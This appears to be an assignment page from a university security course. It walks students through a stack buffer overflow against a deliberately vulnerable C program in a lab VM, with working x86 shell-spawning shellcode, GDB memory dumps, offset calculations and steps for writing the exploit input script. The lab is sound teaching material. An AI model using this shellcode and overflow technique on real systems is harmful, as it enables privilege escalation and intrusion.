Link Search Menu Expand Document

Remus (Launched 1975)

  • Password: ilearned
  • (10 points)
Table of contents
  1. Starter files
  2. Your task
  3. Writing the Exploit
  4. Example Write-Up
    1. Main Idea
    2. Magic Numbers
    3. Exploit Structure
    4. Exploit GDB Output
  5. Writing the egg Script
  6. Debugging
  7. Deliverables
Orion class satellites were some of the first to be launched into orbit. Once Gobian
Union’s proudest achievement, these satellites are now disused and ready to be
deorbited. CSA engineers recently deorbited the Orion-class satellite Romulus and
prepared a manual with instructions for hacking into the satellite.

Your job is to deorbit its sister satellite, Remus, using the provided manual. Old
satellites often have messages from the past in their README, so once you hack
into Remus, why not check out what the cosmonauts of the past had to say?

To familiarize you with the workflow of this project, we will walk you through the exploit for the first question. This part has a lot of reading, but please read everything carefully to minimize silly mistakes in later questions!

Log into the remus account on the VM using the password you obtained in the customization step above.


Starter files

ls to see the provided files. Each user (one per question) will have the following files:

  • A vulnerable C program. In this question it is orbit.c.

  • An executable binary of the C program. In this question it is orbit.

  • exploit: A scaffolding script that takes your malicious input and feeds it to the vulnerable program.

  • debug-exploit: A debugging version of the scaffolding script that takes your malicious input and starts GDB.

  • README: The file you want to read.

  • egg: Your malicious input to the program. You will need to create this file yourself.


Your task

Try reading the contents of the README by using the cat command, which prints out the contents of a file: cat README. Notice that you do not have permission to read the file.

The file permissions make each README accessible only to the next user. Luckily, each user has a compiled executable of the vulnerable C code that is owned by the next user. In other words, the vulnerable program will run with the next user’s effective privileges. Therefore, exploiting the C program will allow you to assume the next user’s permissions and see the contents of README.

Your goal for each question is to provide a malicious input to the vulnerable C program in order to access the restricted README file, where you will find the username and password for the next question.


Writing the Exploit

First, take a look at orbit.c and notice that it takes in user input. The scaffolding is designed so that whatever the egg script prints will be used as input to orbit.

Your goal is to create an input that injects the following shellcode (Shellcode is x86 machine code which performs some action–typically spawning a shell for further attacker interaction.):

shellcode = \
    "\x6a\x32\x58\xcd\x80\x89\xc3\x89\xc1\x6a" + \
    "\x47\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f" + \
    "\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50" + \
    "\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

Note: You will use this same shellcode for Questions 1, 2, 4, and 6.

A correct exploit will launch a new shell waiting for input - you can verify that your exploit works by checking that cat README displays the next password.

To help you out, we have provided an example write-up on the next two pages. You will need to submit your own write-ups for the rest of the questions. Each question’s writeup should contain:

  • A description of the vulnerability and the exploit

  • How any relevant “magic numbers” were determined

  • gdb output demonstrating the before/after of the exploit working

With the help of the example write-up, write out the input that will cause orbit to spawn a shell. A video demo is also available at this link.

Note: the example will have been customized differently, so you will need to follow the steps to find the correct addresses for your customized VM.


Example Write-Up

Main Idea

The code is vulnerable because gets(buf) does not check the length of the input from the user, which lets an attacker write past the end of the buffer. We insert shellcode above the saved return address on the stack (rip) and overwrite the rip with the address of shellcode.

Magic Numbers

We first determined the address of the buffer (0xbffffc18) and the address of the rip of the orbit function (0xbffffc2c). This was done by invoking GDB and setting a breakpoint at line 5.

(gdb) x/16x buf
0xbffffc18:  0x41414141  0xb7e5f200  0xb7fed270  0x00000000
0xbffffc28:  0xbffffc18  0x0804842a  0x08048440  0x00000000
0xbffffc38:  0x00000000  0xb7e454d3  0x00000001  0xbffffcb4
0xbffffc48:  0xbffffcbc  0xb7fdc858  0x00000000  0xbffffc1c

(gdb) i f
Stack frame at 0xbffffc10:
 eip = 0x804841d in orbit (orbit.c:8); saved eip 0x804842a
 called by frame at 0xbffffc40
 source language c.
 Arglist at 0xbffffc28, args:
 Locals at 0xbffffc28, Previous frame's sp is 0xbffffc30
 Saved registers:
  ebp at 0xbffffc28, eip at 0xbffffc2c

By doing so, we learned that the location of the return address from this function was 20 bytes away from the start of the buffer (0xbffffc18 - 0xbffffc2c = 20).

Exploit Structure

Here is the stack diagram (You don’t need a stack diagram in your writeup).

rip (0xbffffc2c)
sfp
compiler padding
buf (0xbffffc18)

The exploit has three parts:

  1. Write 20 dummy characters to overwrite buf, the compiler padding, and the sfp.

  2. Overwrite the rip with the address of shellcode. Since we are putting shellcode directly after the rip, we overwrite the rip with 0xbffffc30 (0xbffffc2c + 4).

  3. Finally, insert the shellcode directly after the rip.

This causes the orbit function to start executing the shellcode at address 0xbffffc30 when it returns.

Exploit GDB Output

When we ran GDB after inputting the malicious exploit string, we got the following output:

(gdb) x/16x buf
0xbffffc18:  0x61616161  0x61616161  0x61616161  0x61616161
0xbffffc28:  0x61616161  0xbffffc30  0xcd58326a 0x89c38980
0xbffffc38:  0x58476ac1  0xc03180cd  0x2f2f6850  0x2f686873
0xbffffc48:  0x546e6962  0x8953505b  0xb0d231e1  0x0080cd0b

After 20 bytes of garbage (blue), the rip is overwritten with 0xbffffc30 (red), which points to the shellcode directly after the rip (green).

Note: you don’t need to color-code your gdb output in your writeup.


Writing the egg Script

To integrate your solution with the exploit scaffold, we want the egg script to output your malicious input to the C program. This can be done in any scripting language you want, but we recommend Python 2 (not 3, because of the distinction between unicode bytes and strings).

First, create a blank egg file. (touch egg will do the job.) Give the file permission to be run as an executable script by running chmod +x egg.

In this project, you will need to chmod any new scripts you create.

Since the egg executable doesn’t have a file extension, the shell won’t know what type of code it contains. To indicate that this is a Python file, we will include a shebang line at the top of the egg file:

#!/usr/bin/env python2

In this project, you will need to add shebangs to any script you create.

The rest of the script should print your malicious input to stdout, so that exploit can feed it to orbit. A simple print statement does the job in Python.


Debugging

If your exploit doesn’t work, you can use gdb to debug it. To do this, we will need to use the IO operators (< and >) to redirect input and output.

Recall that < is used for input redirection, and uses the righthand-side as the lefthand-side’s input. > is used for output redirection, and sends the lefthand-side’s output to the righthand-side.

First, we will run egg and save its output into a file foo.txt:

    $ ./egg > foo.txt

Then, we will open the debugger with ./debug-exploit. After you’re finished running layout split and setting breakpoints, run the following command in gdb to start the program:

    (gdb) r < foo.txt

From here, you can use gdb as you normally would, and any calls for input will read from the foo.txt file you created.

Note: Recall that x86 is little-endian so the first four bytes of the shellcode will appear as 0xcd58326a in the debugger. To write 0x12345678 to memory, use \x78\x56\x34\x12.


Deliverables

A script egg. No writeup required for this question only.

We recommend you test each of your scripts against the autograder (see the submission instructions in order to debug potential issues before the project deadline.


outward